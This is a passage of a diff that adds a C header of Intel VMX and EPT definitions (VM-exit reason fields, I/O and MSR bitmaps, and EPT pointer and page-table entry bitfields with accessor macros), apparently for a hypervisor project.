VMX_INTERRUPTIBILITY_STATE_ENCLAVE_INTERRUPTION_BIT 4 +#define VMX_INTERRUPTIBILITY_STATE_ENCLAVE_INTERRUPTION_FLAG 0x10 +#define VMX_INTERRUPTIBILITY_STATE_ENCLAVE_INTERRUPTION_MASK 0x01 +#define VMX_INTERRUPTIBILITY_STATE_ENCLAVE_INTERRUPTION(_) (((_) >> 4) & 0x01) + uint32_t reserved1 : 27; + }; + + uint32_t flags; +} vmx_interruptibility_state; + +typedef enum +{ + /** + * The logical processor is executing instructions normally. + */ + vmx_active = 0x00000000, + + /** + * The logical processor is inactive because it executed the HLT instruction. + */ + vmx_hlt = 0x00000001, + + /** + * The logical processor is inactive because it incurred a triple fault1 or some other serious error. + */ + vmx_shutdown = 0x00000002, + + /** + * The logical processor is inactive because it is waiting for a startup-IPI (SIPI). + */ + vmx_wait_for_sipi = 0x00000003, +} vmx_guest_activity_state; + +/** + * @} + */ + + /** + * @brief Format of Exit Reason + * + * Exit reason (32 bits). This field encodes the reason for the VM exit and has the structure. + * + * @see Vol3C[24.9.1(Basic VM-Exit Information)] (reference) + */ +typedef union +{ + struct + { + /** + * [Bits 15:0] Provides basic information about the cause of the VM exit (if bit 31 is clear) or of the VM-entry failure + * (if bit 31 is set). + */ + uint32_t basic_exit_reason : 16; +#define VMX_VMEXIT_REASON_BASIC_EXIT_REASON_BIT 0 +#define VMX_VMEXIT_REASON_BASIC_EXIT_REASON_FLAG 0xFFFF +#define VMX_VMEXIT_REASON_BASIC_EXIT_REASON_MASK 0xFFFF +#define VMX_VMEXIT_REASON_BASIC_EXIT_REASON(_) (((_) >> 0) & 0xFFFF) + + /** + * [Bit 16] Always cleared to 0. + */ + uint32_t always0 : 1; +#define VMX_VMEXIT_REASON_ALWAYS0_BIT 16 +#define VMX_VMEXIT_REASON_ALWAYS0_FLAG 0x10000 +#define VMX_VMEXIT_REASON_ALWAYS0_MASK 0x01 +#define VMX_VMEXIT_REASON_ALWAYS0(_) (((_) >> 16) & 0x01) + uint32_t reserved1 : 10; +#define VMX_VMEXIT_REASON_RESERVED1_BIT 17 +#define VMX_VMEXIT_REASON_RESERVED1_FLAG 0x7FE0000 +#define VMX_VMEXIT_REASON_RESERVED1_MASK 0x3FF +#define VMX_VMEXIT_REASON_RESERVED1(_) (((_) >> 17) & 0x3FF) + + /** + * [Bit 27] A VM exit saves this bit as 1 to indicate that the VM exit was incident to enclave mode. + */ + uint32_t enclave_mode : 1; +#define VMX_VMEXIT_REASON_ENCLAVE_MODE_BIT 27 +#define VMX_VMEXIT_REASON_ENCLAVE_MODE_FLAG 0x8000000 +#define VMX_VMEXIT_REASON_ENCLAVE_MODE_MASK 0x01 +#define VMX_VMEXIT_REASON_ENCLAVE_MODE(_) (((_) >> 27) & 0x01) + + /** + * [Bit 28] Pending MTF VM exit. + */ + uint32_t pending_mtf_vm_exit : 1; +#define VMX_VMEXIT_REASON_PENDING_MTF_VM_EXIT_BIT 28 +#define VMX_VMEXIT_REASON_PENDING_MTF_VM_EXIT_FLAG 0x10000000 +#define VMX_VMEXIT_REASON_PENDING_MTF_VM_EXIT_MASK 0x01 +#define VMX_VMEXIT_REASON_PENDING_MTF_VM_EXIT(_) (((_) >> 28) & 0x01) + + /** + * [Bit 29] VM exit from VMX root operation. + */ + uint32_t vm_exit_from_vmx_roor : 1; +#define VMX_VMEXIT_REASON_VM_EXIT_FROM_VMX_ROOR_BIT 29 +#define VMX_VMEXIT_REASON_VM_EXIT_FROM_VMX_ROOR_FLAG 0x20000000 +#define VMX_VMEXIT_REASON_VM_EXIT_FROM_VMX_ROOR_MASK 0x01 +#define VMX_VMEXIT_REASON_VM_EXIT_FROM_VMX_ROOR(_) (((_) >> 29) & 0x01) + uint32_t reserved2 : 1; +#define VMX_VMEXIT_REASON_RESERVED2_BIT 30 +#define VMX_VMEXIT_REASON_RESERVED2_FLAG 0x40000000 +#define VMX_VMEXIT_REASON_RESERVED2_MASK 0x01 +#define VMX_VMEXIT_REASON_RESERVED2(_) (((_) >> 30) & 0x01) + + /** + * [Bit 31] VM-entry failure: + * - 0 = true VM exit + * - 1 = VM-entry failure + */ + uint32_t vm_entry_failure : 1; +#define VMX_VMEXIT_REASON_VM_ENTRY_FAILURE_BIT 31 +#define VMX_VMEXIT_REASON_VM_ENTRY_FAILURE_FLAG 0x80000000 +#define VMX_VMEXIT_REASON_VM_ENTRY_FAILURE_MASK 0x01 +#define VMX_VMEXIT_REASON_VM_ENTRY_FAILURE(_) (((_) >> 31) & 0x01) + }; + + uint32_t flags; +} vmx_vmexit_reason; + +typedef struct +{ +#define IO_BITMAP_A_MIN 0x00000000 +#define IO_BITMAP_A_MAX 0x00007FFF +#define IO_BITMAP_B_MIN 0x00008000 +#define IO_BITMAP_B_MAX 0x0000FFFF + uint8_t io_a[4096]; + uint8_t io_b[4096]; +} vmx_io_bitmap; + +typedef struct +{ +#define MSR_ID_LOW_MIN 0x00000000 +#define MSR_ID_LOW_MAX 0x00001FFF +#define MSR_ID_HIGH_MIN 0xC0000000 +#define MSR_ID_HIGH_MAX 0xC0001FFF + uint8_t rdmsr_low[1024]; + uint8_t rdmsr_high[1024]; + uint8_t wrmsr_low[1024]; + uint8_t wrmsr_high[1024]; +} vmx_msr_bitmap; + +/** + * @defgroup ept \ + * The extended page-table mechanism + * + * The extended page-table mechanism (EPT) is a feature that can be used to support the virtualization of physical memory. + * When EPT is in use, certain addresses that would normally be treated as physical addresses (and used to access memory) + * are instead treated as guest-physical addresses. Guest-physical addresses are translated by traversing a set of EPT + * paging structures to produce physical addresses that are used to access memory. + * + * @see Vol3C[28.2(THE EXTENDED PAGE TABLE MECHANISM (EPT))] (reference) + * @{ + */ + /** + * @brief Extended-Page-Table Pointer (EPTP) + * + * The extended-page-table pointer (EPTP) contains the address of the base of EPT PML4 table, as well as other EPT + * configuration information. + * + * @see Vol3C[28.2.2(EPT Translation Mechanism] + * @see Vol3C[24.6.11(Extended-Page-Table Pointer (EPTP)] (reference) + */ +typedef union +{ + struct + { + /** + * [Bits 2:0] EPT paging-structure memory type: + * - 0 = Uncacheable (UC) + * - 6 = Write-back (WB) + * Other values are reserved. + * + * @see Vol3C[28.2.6(EPT and memory Typing)] + */ + uint64_t memory_type : 3; +#define EPT_POINTER_MEMORY_TYPE_BIT 0 +#define EPT_POINTER_MEMORY_TYPE_FLAG 0x07 +#define EPT_POINTER_MEMORY_TYPE_MASK 0x07 +#define EPT_POINTER_MEMORY_TYPE(_) (((_) >> 0) & 0x07) + + /** + * [Bits 5:3] This value is 1 less than the EPT page-walk length. + * + * @see Vol3C[28.2.6(EPT and memory Typing)] + */ + uint64_t page_walk_length : 3; +#define EPT_POINTER_PAGE_WALK_LENGTH_BIT 3 +#define EPT_POINTER_PAGE_WALK_LENGTH_FLAG 0x38 +#define EPT_POINTER_PAGE_WALK_LENGTH_MASK 0x07 +#define EPT_POINTER_PAGE_WALK_LENGTH(_) (((_) >> 3) & 0x07) +#define EPT_PAGE_WALK_LENGTH_4 0x00000003 + + /** + * [Bit 6] Setting this control to 1 enables accessed and dirty flags for EPT. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t enable_access_and_dirty_flags : 1; +#define EPT_POINTER_ENABLE_ACCESS_AND_DIRTY_FLAGS_BIT 6 +#define EPT_POINTER_ENABLE_ACCESS_AND_DIRTY_FLAGS_FLAG 0x40 +#define EPT_POINTER_ENABLE_ACCESS_AND_DIRTY_FLAGS_MASK 0x01 +#define EPT_POINTER_ENABLE_ACCESS_AND_DIRTY_FLAGS(_) (((_) >> 6) & 0x01) + uint64_t reserved1 : 5; + + /** + * [Bits 47:12] Bits N-1:12 of the physical address of the 4-KByte aligned EPT PML4 table. + */ + uint64_t page_frame_number : 36; +#define EPT_POINTER_PAGE_FRAME_NUMBER_BIT 12 +#define EPT_POINTER_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define EPT_POINTER_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define EPT_POINTER_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved2 : 16; + }; + + uint64_t flags; +} ept_pointer; + +/** + * @brief Format of an EPT PML4 Entry (PML4E) that References an EPT Page-Directory-Pointer Table + * + * A 4-KByte naturally aligned EPT PML4 table is located at the physical address specified in bits 51:12 of the + * extended-page-table pointer (EPTP), a VM-execution control field. An EPT PML4 table comprises 512 64-bit entries (EPT + * PML4Es). An EPT PML4E is selected using the physical address defined as follows: + * - Bits 63:52 are all 0. + * - Bits 51:12 are from the EPTP. + * - Bits 11:3 are bits 47:39 of the guest-physical address. + * - Bits 2:0 are all 0. + * Because an EPT PML4E is identified using bits 47:39 of the guest-physical address, it controls access to a 512- GByte + * region of the guest-physical-address space. + * + * @see Vol3C[24.6.11(Extended-Page-Table Pointer (EPTP)] + */ +typedef union +{ + struct + { + /** + * [Bit 0] Read access; indicates whether reads are allowed from the 512-GByte region controlled by this entry. + */ + uint64_t read_access : 1; +#define EPT_PML4_READ_ACCESS_BIT 0 +#define EPT_PML4_READ_ACCESS_FLAG 0x01 +#define EPT_PML4_READ_ACCESS_MASK 0x01 +#define EPT_PML4_READ_ACCESS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Write access; indicates whether writes are allowed from the 512-GByte region controlled by this entry. + */ + uint64_t write_access : 1; +#define EPT_PML4_WRITE_ACCESS_BIT 1 +#define EPT_PML4_WRITE_ACCESS_FLAG 0x02 +#define EPT_PML4_WRITE_ACCESS_MASK 0x01 +#define EPT_PML4_WRITE_ACCESS(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether + * instruction fetches are allowed from the 512-GByte region controlled by this entry. + * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are + * allowed from supervisor-mode linear addresses in the 512-GByte region controlled by this entry. + */ + uint64_t execute_access : 1; +#define EPT_PML4_EXECUTE_ACCESS_BIT 2 +#define EPT_PML4_EXECUTE_ACCESS_FLAG 0x04 +#define EPT_PML4_EXECUTE_ACCESS_MASK 0x01 +#define EPT_PML4_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) + uint64_t reserved1 : 5; + + /** + * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 512-GByte region + * controlled by this entry. Ignored if bit 6 of EPTP is 0. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t accessed : 1; +#define EPT_PML4_ACCESSED_BIT 8 +#define EPT_PML4_ACCESSED_FLAG 0x100 +#define EPT_PML4_ACCESSED_MASK 0x01 +#define EPT_PML4_ACCESSED(_) (((_) >> 8) & 0x01) + uint64_t reserved2 : 1; + + /** + * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control + * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 512-GByte region + * controlled by this entry. If that control is 0, this bit is ignored. + */ + uint64_t user_mode_execute : 1; +#define EPT_PML4_USER_MODE_EXECUTE_BIT 10 +#define EPT_PML4_USER_MODE_EXECUTE_FLAG 0x400 +#define EPT_PML4_USER_MODE_EXECUTE_MASK 0x01 +#define EPT_PML4_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) + uint64_t reserved3 : 1; + + /** + * [Bits 47:12] Physical address of 4-KByte aligned EPT page-directory-pointer table referenced by this entry. + */ + uint64_t page_frame_number : 36; +#define EPT_PML4_PAGE_FRAME_NUMBER_BIT 12 +#define EPT_PML4_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define EPT_PML4_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define EPT_PML4_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved4 : 16; + }; + + uint64_t flags; +} ept_pml4; + +/** + * @brief Format of an EPT Page-Directory-Pointer-Table Entry (PDPTE) that Maps a 1-GByte Page + */ +typedef union +{ + struct + { + /** + * [Bit 0] Read access; indicates whether reads are allowed from the 1-GByte page referenced by this entry. + */ + uint64_t read_access : 1; +#define EPDPTE_1GB_READ_ACCESS_BIT 0 +#define EPDPTE_1GB_READ_ACCESS_FLAG 0x01 +#define EPDPTE_1GB_READ_ACCESS_MASK 0x01 +#define EPDPTE_1GB_READ_ACCESS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Write access; indicates whether writes are allowed from the 1-GByte page referenced by this entry. + */ + uint64_t write_access : 1; +#define EPDPTE_1GB_WRITE_ACCESS_BIT 1 +#define EPDPTE_1GB_WRITE_ACCESS_FLAG 0x02 +#define EPDPTE_1GB_WRITE_ACCESS_MASK 0x01 +#define EPDPTE_1GB_WRITE_ACCESS(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether + * instruction fetches are allowed from the 1-GByte page controlled by this entry. + * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are + * allowed from supervisor-mode linear addresses in the 1-GByte page controlled by this entry. + */ + uint64_t execute_access : 1; +#define EPDPTE_1GB_EXECUTE_ACCESS_BIT 2 +#define EPDPTE_1GB_EXECUTE_ACCESS_FLAG 0x04 +#define EPDPTE_1GB_EXECUTE_ACCESS_MASK 0x01 +#define EPDPTE_1GB_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) + + /** + * [Bits 5:3] EPT memory type for this 1-GByte page. + * + * @see Vol3C[28.2.6(EPT and memory Typing)] + */ + uint64_t memory_type : 3; +#define EPDPTE_1GB_MEMORY_TYPE_BIT 3 +#define EPDPTE_1GB_MEMORY_TYPE_FLAG 0x38 +#define EPDPTE_1GB_MEMORY_TYPE_MASK 0x07 +#define EPDPTE_1GB_MEMORY_TYPE(_) (((_) >> 3) & 0x07) + + /** + * [Bit 6] Ignore PAT memory type for this 1-GByte page. + * + * @see Vol3C[28.2.6(EPT and memory Typing)] + */ + uint64_t ignore_pat : 1; +#define EPDPTE_1GB_IGNORE_PAT_BIT 6 +#define EPDPTE_1GB_IGNORE_PAT_FLAG 0x40 +#define EPDPTE_1GB_IGNORE_PAT_MASK 0x01 +#define EPDPTE_1GB_IGNORE_PAT(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Must be 1 (otherwise, this entry references an EPT page directory). + */ + uint64_t large_page : 1; +#define EPDPTE_1GB_LARGE_PAGE_BIT 7 +#define EPDPTE_1GB_LARGE_PAGE_FLAG 0x80 +#define EPDPTE_1GB_LARGE_PAGE_MASK 0x01 +#define EPDPTE_1GB_LARGE_PAGE(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 1-GByte page + * referenced by this entry. Ignored if bit 6 of EPTP is 0. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t accessed : 1; +#define EPDPTE_1GB_ACCESSED_BIT 8 +#define EPDPTE_1GB_ACCESSED_FLAG 0x100 +#define EPDPTE_1GB_ACCESSED_MASK 0x01 +#define EPDPTE_1GB_ACCESSED(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] If bit 6 of EPTP is 1, dirty flag for EPT; indicates whether software has written to the 1-GByte page referenced + * by this entry. Ignored if bit 6 of EPTP is 0. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t dirty : 1; +#define EPDPTE_1GB_DIRTY_BIT 9 +#define EPDPTE_1GB_DIRTY_FLAG 0x200 +#define EPDPTE_1GB_DIRTY_MASK 0x01 +#define EPDPTE_1GB_DIRTY(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control + * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 1-GByte page controlled + * by this entry. If that control is 0, this bit is ignored. + */ + uint64_t user_mode_execute : 1; +#define EPDPTE_1GB_USER_MODE_EXECUTE_BIT 10 +#define EPDPTE_1GB_USER_MODE_EXECUTE_FLAG 0x400 +#define EPDPTE_1GB_USER_MODE_EXECUTE_MASK 0x01 +#define EPDPTE_1GB_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) + uint64_t reserved1 : 19; + + /** + * [Bits 47:30] Physical address of 4-KByte aligned EPT page-directory-pointer table referenced by this entry. + */ + uint64_t page_frame_number : 18; +#define EPDPTE_1GB_PAGE_FRAME_NUMBER_BIT 30 +#define EPDPTE_1GB_PAGE_FRAME_NUMBER_FLAG 0xFFFFC0000000 +#define EPDPTE_1GB_PAGE_FRAME_NUMBER_MASK 0x3FFFF +#define EPDPTE_1GB_PAGE_FRAME_NUMBER(_) (((_) >> 30) & 0x3FFFF) + uint64_t reserved2 : 15; + + /** + * [Bit 63] Suppress \#VE. If the "EPT-violation \#VE" VM-execution control is 1, EPT violations caused by accesses to this + * page are convertible to virtualization exceptions only if this bit is 0. If "EPT-violation \#VE" VMexecution control is + * 0, this bit is ignored. + * + * @see Vol3C[25.5.6.1(Convertible EPT Violations)] + */ + uint64_t suppress_ve : 1; +#define EPDPTE_1GB_SUPPRESS_VE_BIT 63 +#define EPDPTE_1GB_SUPPRESS_VE_FLAG 0x8000000000000000 +#define EPDPTE_1GB_SUPPRESS_VE_MASK 0x01 +#define EPDPTE_1GB_SUPPRESS_VE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} epdpte_1gb; + +/** + * @brief Format of an EPT Page-Directory-Pointer-Table Entry (PDPTE) that References an EPT Page Directory + */ +typedef union +{ + struct + { + /** + * [Bit 0] Read access; indicates whether reads are allowed from the 1-GByte region controlled by this entry. + */ + uint64_t read_access : 1; +#define EPDPTE_READ_ACCESS_BIT 0 +#define EPDPTE_READ_ACCESS_FLAG 0x01 +#define EPDPTE_READ_ACCESS_MASK 0x01 +#define EPDPTE_READ_ACCESS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Write access; indicates whether writes are allowed from the 1-GByte region controlled by this entry. + */ + uint64_t write_access : 1; +#define EPDPTE_WRITE_ACCESS_BIT 1 +#define EPDPTE_WRITE_ACCESS_FLAG 0x02 +#define EPDPTE_WRITE_ACCESS_MASK 0x01 +#define EPDPTE_WRITE_ACCESS(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether + * instruction fetches are allowed from the 1-GByte region controlled by this entry. + * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are + * allowed from supervisor-mode linear addresses in the 1-GByte region controlled by this entry. + */ + uint64_t execute_access : 1; +#define EPDPTE_EXECUTE_ACCESS_BIT 2 +#define EPDPTE_EXECUTE_ACCESS_FLAG 0x04 +#define EPDPTE_EXECUTE_ACCESS_MASK 0x01 +#define EPDPTE_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) + uint64_t reserved1 : 5; + + /** + * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 1-GByte region + * controlled by this entry. Ignored if bit 6 of EPTP is 0. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t accessed : 1; +#define EPDPTE_ACCESSED_BIT 8 +#define EPDPTE_ACCESSED_FLAG 0x100 +#define EPDPTE_ACCESSED_MASK 0x01 +#define EPDPTE_ACCESSED(_) (((_) >> 8) & 0x01) + uint64_t reserved2 : 1; + + /** + * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control + * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 1-GByte region controlled + * by this entry. If that control is 0, this bit is ignored. + */ + uint64_t user_mode_execute : 1; +#define EPDPTE_USER_MODE_EXECUTE_BIT 10 +#define EPDPTE_USER_MODE_EXECUTE_FLAG 0x400 +#define EPDPTE_USER_MODE_EXECUTE_MASK 0x01 +#define EPDPTE_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) + uint64_t reserved3 : 1; + + /** + * [Bits 47:12] Physical address of 4-KByte aligned EPT page-directory-pointer table referenced by this entry. + */ + uint64_t page_frame_number : 36; +#define EPDPTE_PAGE_FRAME_NUMBER_BIT 12 +#define EPDPTE_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define EPDPTE_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define EPDPTE_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved4 : 16; + }; + + uint64_t flags; +} epdpte; + +/** + * @brief Format of an EPT Page-Directory Entry (PDE) that Maps a 2-MByte Page + */ +typedef union +{ + struct + { + /** + * [Bit 0] Read access; indicates whether reads are allowed from the 2-MByte page referenced by this entry. + */ + uint64_t read_access : 1; +#define EPDE_2MB_READ_ACCESS_BIT 0 +#define EPDE_2MB_READ_ACCESS_FLAG 0x01 +#define EPDE_2MB_READ_ACCESS_MASK 0x01 +#define EPDE_2MB_READ_ACCESS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Write access; indicates whether writes are allowed from the 2-MByte page referenced by this entry. + */ + uint64_t write_access : 1; +#define EPDE_2MB_WRITE_ACCESS_BIT 1 +#define EPDE_2MB_WRITE_ACCESS_FLAG 0x02 +#define EPDE_2MB_WRITE_ACCESS_MASK 0x01 +#define EPDE_2MB_WRITE_ACCESS(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether + * instruction fetches are allowed from the 2-MByte page controlled by this entry. + * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are + * allowed from supervisor-mode linear addresses in the 2-MByte page controlled by this entry. + */ + uint64_t execute_access : 1; +#define EPDE_2MB_EXECUTE_ACCESS_BIT 2 +#define EPDE_2MB_EXECUTE_ACCESS_FLAG 0x04 +#define EPDE_2MB_EXECUTE_ACCESS_MASK 0x01 +#define EPDE_2MB_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) + + /** + * [Bits 5:3] EPT memory type for this 2-MByte page. + * + * @see Vol3C[28.2.6(EPT and memory Typing)] + */ + uint64_t memory_type : 3; +#define EPDE_2MB_MEMORY_TYPE_BIT 3 +#define EPDE_2MB_MEMORY_TYPE_FLAG 0x38 +#define EPDE_2MB_MEMORY_TYPE_MASK 0x07 +#define EPDE_2MB_MEMORY_TYPE(_) (((_) >> 3) & 0x07) + + /** + * [Bit 6] Ignore PAT memory type for this 2-MByte page. + * + * @see Vol3C[28.2.6(EPT and memory Typing)] + */ + uint64_t ignore_pat : 1; +#define EPDE_2MB_IGNORE_PAT_BIT 6 +#define EPDE_2MB_IGNORE_PAT_FLAG 0x40 +#define EPDE_2MB_IGNORE_PAT_MASK 0x01 +#define EPDE_2MB_IGNORE_PAT(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Must be 1 (otherwise, this entry references an EPT page table). + */ + uint64_t large_page : 1; +#define EPDE_2MB_LARGE_PAGE_BIT 7 +#define EPDE_2MB_LARGE_PAGE_FLAG 0x80 +#define EPDE_2MB_LARGE_PAGE_MASK 0x01 +#define EPDE_2MB_LARGE_PAGE(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 2-MByte page + * referenced by this entry. Ignored if bit 6 of EPTP is 0. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t accessed : 1; +#define EPDE_2MB_ACCESSED_BIT 8 +#define EPDE_2MB_ACCESSED_FLAG 0x100 +#define EPDE_2MB_ACCESSED_MASK 0x01 +#define EPDE_2MB_ACCESSED(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] If bit 6 of EPTP is 1, dirty flag for EPT; indicates whether software has written to the 2-MByte page referenced + * by this entry. Ignored if bit 6 of EPTP is 0. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t dirty : 1; +#define EPDE_2MB_DIRTY_BIT 9 +#define EPDE_2MB_DIRTY_FLAG 0x200 +#define EPDE_2MB_DIRTY_MASK 0x01 +#define EPDE_2MB_DIRTY(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control + * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 2-MByte page controlled + * by this entry. If that control is 0, this bit is ignored. + */ + uint64_t user_mode_execute : 1; +#define EPDE_2MB_USER_MODE_EXECUTE_BIT 10 +#define EPDE_2MB_USER_MODE_EXECUTE_FLAG 0x400 +#define EPDE_2MB_USER_MODE_EXECUTE_MASK 0x01 +#define EPDE_2MB_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) + uint64_t reserved1 : 10; + + /** + * [Bits 47:21] Physical address of 4-KByte aligned EPT page-directory-pointer table referenced by this entry. + */ + uint64_t page_frame_number : 27; +#define EPDE_2MB_PAGE_FRAME_NUMBER_BIT 21 +#define EPDE_2MB_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFE00000 +#define EPDE_2MB_PAGE_FRAME_NUMBER_MASK 0x7FFFFFF +#define EPDE_2MB_PAGE_FRAME_NUMBER(_) (((_) >> 21) & 0x7FFFFFF) + uint64_t reserved2 : 15; + + /** + * [Bit 63] Suppress \#VE. If the "EPT-violation \#VE" VM-execution control is 1, EPT violations caused by accesses to this + * page are convertible to virtualization exceptions only if this bit is 0. If "EPT-violation \#VE" VMexecution control is + * 0, this bit is ignored. + * + * @see Vol3C[25.5.6.1(Convertible EPT Violations)] + */ + uint64_t suppress_ve : 1; +#define EPDE_2MB_SUPPRESS_VE_BIT 63 +#define EPDE_2MB_SUPPRESS_VE_FLAG 0x8000000000000000 +#define EPDE_2MB_SUPPRESS_VE_MASK 0x01 +#define EPDE_2MB_SUPPRESS_VE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} epde_2mb; + +/** + * @brief Format of an EPT Page-Directory Entry (PDE) that References an EPT Page Table + */ +typedef union +{ + struct + { + /** + * [Bit 0] Read access; indicates whether reads are allowed from the 2-MByte region controlled by this entry. + */ + uint64_t read_access : 1; +#define EPDE_READ_ACCESS_BIT 0 +#define EPDE_READ_ACCESS_FLAG 0x01 +#define EPDE_READ_ACCESS_MASK 0x01 +#define EPDE_READ_ACCESS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Write access; indicates whether writes are allowed from the 2-MByte region controlled by this entry. + */ + uint64_t write_access : 1; +#define EPDE_WRITE_ACCESS_BIT 1 +#define EPDE_WRITE_ACCESS_FLAG 0x02 +#define EPDE_WRITE_ACCESS_MASK 0x01 +#define EPDE_WRITE_ACCESS(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether + * instruction fetches are allowed from the 2-MByte region controlled by this entry. + * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are + * allowed from supervisor-mode linear addresses in the 2-MByte region controlled by this entry. + */ + uint64_t execute_access : 1; +#define EPDE_EXECUTE_ACCESS_BIT 2 +#define EPDE_EXECUTE_ACCESS_FLAG 0x04 +#define EPDE_EXECUTE_ACCESS_MASK 0x01 +#define EPDE_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) + uint64_t reserved1 : 5; + + /** + * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 2-MByte region + * controlled by this entry. Ignored if bit 6 of EPTP is 0. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t accessed : 1; +#define EPDE_ACCESSED_BIT 8 +#define EPDE_ACCESSED_FLAG 0x100 +#define EPDE_ACCESSED_MASK 0x01 +#define EPDE_ACCESSED(_) (((_) >> 8) & 0x01) + uint64_t reserved2 : 1; + + /** + * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control + * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 2-MByte region controlled + * by this entry. If that control is 0, this bit is ignored. + */ + uint64_t user_mode_execute : 1; +#define EPDE_USER_MODE_EXECUTE_BIT 10 +#define EPDE_USER_MODE_EXECUTE_FLAG 0x400 +#define EPDE_USER_MODE_EXECUTE_MASK 0x01 +#define EPDE_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) + uint64_t reserved3 : 1; + + /** + * [Bits 47:12] Physical address of 4-KByte aligned EPT page table referenced by this entry. + */ + uint64_t page_frame_number : 36; +#define EPDE_PAGE_FRAME_NUMBER_BIT 12 +#define EPDE_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define EPDE_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define EPDE_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved4 : 16; + }; + + uint64_t flags; +} epde; + +/** + * @brief Format of an EPT Page-Table Entry that Maps a 4-KByte Page + */ +typedef union +{ + struct + { + /** + * [Bit 0] Read access; indicates whether reads are allowed from the 4-KByte page referenced by this entry. + */ + uint64_t read_access : 1; +#define EPTE_READ_ACCESS_BIT 0 +#define EPTE_READ_ACCESS_FLAG 0x01 +#define EPTE_READ_ACCESS_MASK 0x01 +#define EPTE_READ_ACCESS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Write access; indicates whether writes are allowed from the 4-KByte page referenced by this entry. + */ + uint64_t write_access : 1; +#define EPTE_WRITE_ACCESS_BIT 1 +#define EPTE_WRITE_ACCESS_FLAG 0x02 +#define EPTE_WRITE_ACCESS_MASK 0x01 +#define EPTE_WRITE_ACCESS(_) (((_) >> 1) & 0x01) + + /** 